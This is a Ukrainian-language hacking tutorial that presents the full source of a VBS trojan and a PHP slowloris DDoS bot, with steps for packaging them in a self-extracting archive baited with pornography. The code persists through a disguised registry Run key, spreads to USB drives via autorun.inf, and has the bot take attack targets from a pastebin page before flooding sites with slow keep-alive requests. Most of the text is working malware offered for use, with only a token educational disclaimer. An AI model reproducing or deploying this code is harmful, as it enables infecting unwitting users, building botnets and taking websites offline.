VBS троян + DDOS плагін

190

Що робить трой. Копіюється в реєстр для поточного користувача, темпової папку файлики скидає: самого себе, autorun.inf (для інфікування флешок), ддос экзешник, який і запускає на виконання.

Кладемо все це добро в архів, робимо його SFX, заходимо в опції SFX, ставимо розпаковування в поточну папку, в полі запустити після разархирвации ваш файл vbs, створюємо архів. У підсумку в архіві у вас повинно бути три файлу. Ваш файл dos або vbe (якщо кодувати будете), ддос плагін на пхп (exe) файл autorun.inf. А також яка нитка інфа для заманухи, типу порнушечка.

Піддослідні юзер запускає SFX архів, файли розпаковуються, скрипт запускається, ддос плагін запускається, створюється темповая папка, туди все копіюється, а з місця разархирвации видаляється. Юзер задоволений, дивиться порнушку, а трой вже спрацював.
VBS файл

VBS троян + DDOS плагін Показати / Приховати текст
On Error Resume Next ‘Що при помилці нічого не виводив

‘Визначаємо запущений скрипт вперше після розпакування

pathtoscript = “C:\temp\” & Wscript.ScriptName ‘Шлях до файлу троя
pathrunscript = Wscript.ScriptFullName ‘Шлях звідки запущений

if pathtoscript = pathrunscript Then ‘Порівнюємо, якщо збіг, то запускаємо підпрограму 1 – скрипт вже був інстальований
Procedure1
else ‘інакше запускаємо підпрограму 2 – перший запуск після разархирвации
Procedure2
End if

Sub Procedure1 ()
i = 1
Dim FSO
Set FSO = WScript.CreateObject (“Scripting.FileSystemObject”)

Dim objWMIService, Processes, Process, WshShell, msga
Set WshShell = CreateObject(“WScript.Shell”)
Set objWMIService = GetObject(“winmgmts:\\.\root\cimv2”)

while (i = 1)
‘Перевіряємо список дисків і пробуємо створити там файл autorun.inf з перевіркою існування папки temp

For i In each fso.Drives
If i.DriveType=1 Then
drive=i.DriveLetter
ProcedureCopy drive
End If
Next
‘Шукаємо процес DDOS плагіна, якщо немає, то запускаємо
Set Processes = objWMIService.ExecQuery(“SELECT * FROM Win32_Process Where Name = ‘Directx32.exe'”)
If Processes.Count < 1 Then
source = “C:\\temp\\Directx32.exe”
WshShell.Run source, 0, false
End If

Wscript.Sleep(5000)
Wend
End Sub

Sub Procedure2 ()
‘Створюємо папку temp в корені диска, якщо вона не створена
‘Створюємо об’єкт для роботи з каталогами і файлами
Dim FSO
Set FSO = WScript.CreateObject (“Scripting.FileSystemObject”)
If (FSO.FolderExists(“C:\temp\”)) Then
source = Wscript.ScriptName
dest = “C:\\temp\\” + Wscript.ScriptName
FSO.CopyFile source, dest ‘Копіюємо файл в папку temp
source1 = “Directx32.exe”
dest = “C:\\temp\\” + source1
FSO.CopyFile source1, dest ‘Копіюємо файл в папку temp
source2 = “autorun.inf”
dest = “C:\\temp\\” + source2
FSO.CopyFile source2, dest ‘Копіюємо файл в папку temp

Root = “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion”
Key = “\Run\”
ValueName = “DirectX System Procedure”
kValue = “C:\temp\”+Wscript.ScriptName
Set WshShell = WScript.CreateObject (“WScript.Shell”)
WshShell.RegWrite Root & Key & ValueName, kValue, “REG_SZ” ‘Записуємося в реєстр

source = “C:\\temp\\” + Wscript.ScriptName
WshShell.Run source, 0, false

‘Віддаляємося з папки з якої юзер запустив звірка
FSO.DeleteFile(“YOUR_SCRIPT_NAME.vbe”) ‘Ім’я файлу DOS
FSO.DeleteFile(source1)
FSO.DeleteFile(source2)
Else
FSO.CreateFolder(“C:\temp\”) ‘Створюємо папку temp
source = Wscript.ScriptName
dest = “C:\\temp\\” + Wscript.ScriptName
FSO.CopyFile source, dest ‘Копіюємо файл в папку temp
source1 = “Directx32.exe”
dest = “C:\\temp\\” + source1
FSO.CopyFile source1, dest ‘Копіюємо файл в папку temp
source2 = “autorun.inf”
dest = “C:\\temp\\” + source2
FSO.CopyFile source2, dest ‘Копіюємо файл в папку temp

‘Створюємо ключ в реєстрі для автозавантаження
Root = “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion”
Key = “\Run\”
ValueName = “DirectX System Procedure”
kValue = “C:\temp\”+Wscript.ScriptName
Set WshShell = WScript.CreateObject (“WScript.Shell”)
WshShell.RegWrite Root & Key & ValueName, kValue, “REG_SZ”
‘Wscript.Echo “” & WshShell.RegRead (“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\avast”)

source = “C:\\temp\\” + Wscript.ScriptName
WshShell.Run source, 0, false

FSO.DeleteFile(“YOUR_SCRIPT_NAME.vbe”)
FSO.DeleteFile(source1)
FSO.DeleteFile(source2)
End If
End Sub

Sub ProcedureCopy(drive)
Dim FSO
Set FSO = WScript.CreateObject (“Scripting.FileSystemObject”)
source = Wscript.ScriptName
dest = drive + “:\” + Wscript.ScriptName
FSO.CopyFile source, dest
source = “Directx32.exe”
dest = drive + “:\” + source
FSO.CopyFile source, dest
source = “autorun.inf”
dest = drive + “:\” + source
FSO.CopyFile source, dest
End Sub

DDOS скрипт на PHP (атака slowloris, створюємо куеву хмару keep-alive з’єднань з сервером). Компілюємо його з допомогою bamcompile 1.21, не забуваємо додати php_sockets.dll з Денвера наприклад або LAMP.

VBS троян + DDOS плагін Показати / Приховати текст
php

set_time_limit(0);

$useragents = array(
“Mozilla/5.0 (Linux; U; Android 1.6; en-us; eeepc Build/Donut) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1”,
“Mozilla/5.0 (Linux; U; Android 2.1-update1; ru; GT-I9000 Build/ECLAIR) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17”,
“Mozilla/5.0 (Linux; U; Android 2.2; ru; GT-I9000 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1”,
“Mozilla/5.0 (Linux; U; Android 3.1; en-us; GT-P7510 Build/HMJ37) AppleWebKit/534.13 (KHTML, like Gecko) Version/Safari 4.0/534.13”,
“amaya/9.53 libwww/5.4.0”,
“Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)”,
“Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)”,
“Mozilla/5.0 (Macintosh; U; PPC Max OS X Mach-O; en-US; rv:1.8.0.7) Gecko/200609211 Camino/1.0.3”,
“ELinks (0.4pre5; Linux 2.4.27 i686; 80×25)”,
“Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060928 (Debian|Debian-1.8.0.7-1) Epiphany/2.14”,
“Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20061031 Firefox/1.5.0.7 Flock/0.7.7”,
“Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16”,
“Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/20070817 IceWeasel/2.0.0.6-g2”,
“Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.11) Gecko/20071203 IceCat/2.0.0.11-g1”,
“Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)”,
“Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)”,
“Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; Motorola VIP12xx)”,
“Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0”,
“Mozilla/5.0 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)”,
“Lynx/2.8.6 rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8 g”,
“Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007”,
“Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929”,
“Mozilla/5.0 (Windows; I; Windows NT 5.1; ru; rv:1.9.2.13) Gecko/20100101 Firefox/4.0”,
“Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20060127 Netscape/8.1”,
“Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.8.131 Version/11.10”,
“Opera/9.80 (Macintosh; Intel Mac OS X 10.6.7; U; ru) Presto/2.8.131 Version/11.10”,
“Opera/9.80 (S60; SymbOS; Opera Mobi/499; U; ru) Presto/2.4.18 Version/10.00”,
“Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15”,
“Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru) AppleWebKit/534.31+ (KHTML, like Gecko) Version/Safari 5.0.5/533.21.1”,
“Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 Mozilla/2.0.4”,
“Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125”,
“Mozilla/5.0 (x11; u; linux i686; en;rv:1.2.3.4) gecko/”,
“Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413”,
“Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413”,
“IBM-WebExplorer-DLL/v1.1h”);

$p = 1;

while ($p = 1) {

sleep(60);

$msg = GetCommands();

if (!empty($msg))
{
if ($msg == “stop”) { }
else {
$ua = array_rand($useragents);
$msgarr = explode(“:”, $msg);
$msgarr2 = explode(“;”, $msgarr[1]);
$site = $msgarr2[0];
$param = $msgarr2[1];
$param = str_replace(“ $param = trim($param);
$fp = fsockopen($site, 80, $errno, $errstr, 30);
$header = “GET /”.$param.” HTTP/1.1\r\n”;
$header .=”Host: “.$site.”\r\n”;
$header .=”User-Agent: “.$ua.”\r\n”;
$header .=”Accept:text/html,application/xhtml+xml application/xml;q=0.9,*/*;q=0.8\r\n”;
$header .=”Accept-Language: en-us,en;q=0.5\r\n”;
$header .=”Accept-Encoding: gzip,deflate\r\n”;
$header .=”Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n”;
$header .=”Connection: keep-alive\r\n”;
$header .=”Content-Type: application/x-www-form-urlencoded\r\n”;
$header .=”Content-length: 42\r\n\r\n”;
fwrite($fp, $header);

for ($i=0;$i<6000;$i++) {
fwrite($fp, “A”);
sleep(1);
}
}
}

}

function GetCommands() //Отримуємо з віддаленого сервера список команд для виконання, наприклад робимо замітку в pastebin
{
$fp = fsockopen(“www.pastebin.com”, 80, $errno, $errstr, 30);
if (!$fp) {
$msg1 = “stop”;
} else {
$out = “GET /LINK_TO_TEXT HTTP/1.1\r\n”;
$out .= “Host: www.pastebin.com\r\n”;
$out .= “Connection: Close\r\n\r\n”;
fwrite($fp, $out);
$msg = “”;
while (!feof($fp)) {
$msg .= fgets($fp, 128);
}
fclose($fp);
$msg1 = stristr($msg, ‘>command:’);
$msg1 = strtok($msg1, ‘>’);
$pos = stripos($msg1, “stop”);
if ($pos !== false) $msg1 = “stop”;
}
return $msg1;
}

Autorun.inf

[autorun]

open=ВАШ_СКРИПТ

Ніхто не каже, що php ддос ефективний, скажімо так, запити на сайт йдуть, але экзешник частенько вилітає )) Для прикладу в архіві ddos плагін exe налаштований на локалхост і index.php. Так що якщо запустіть локалхост (денвер наприклад), то зможете потестувати ддос на локальний сервер. Але суто для освіти підійде VBS троян + DDOS плагін